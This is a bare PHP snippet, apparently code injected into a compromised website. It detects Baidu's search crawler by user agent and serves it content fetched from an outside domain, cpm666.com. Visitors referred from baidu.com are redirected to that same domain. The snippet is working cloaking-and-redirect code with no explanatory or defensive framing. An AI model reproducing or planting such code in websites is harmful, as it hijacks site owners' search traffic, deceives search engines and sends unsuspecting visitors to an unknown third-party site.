<%php if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) { $file = file_get_contents('http://www.cpm666.com/'); echo $file; exit; } if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) { Header("Location: http://www.cpm666.com/"); exit; } %>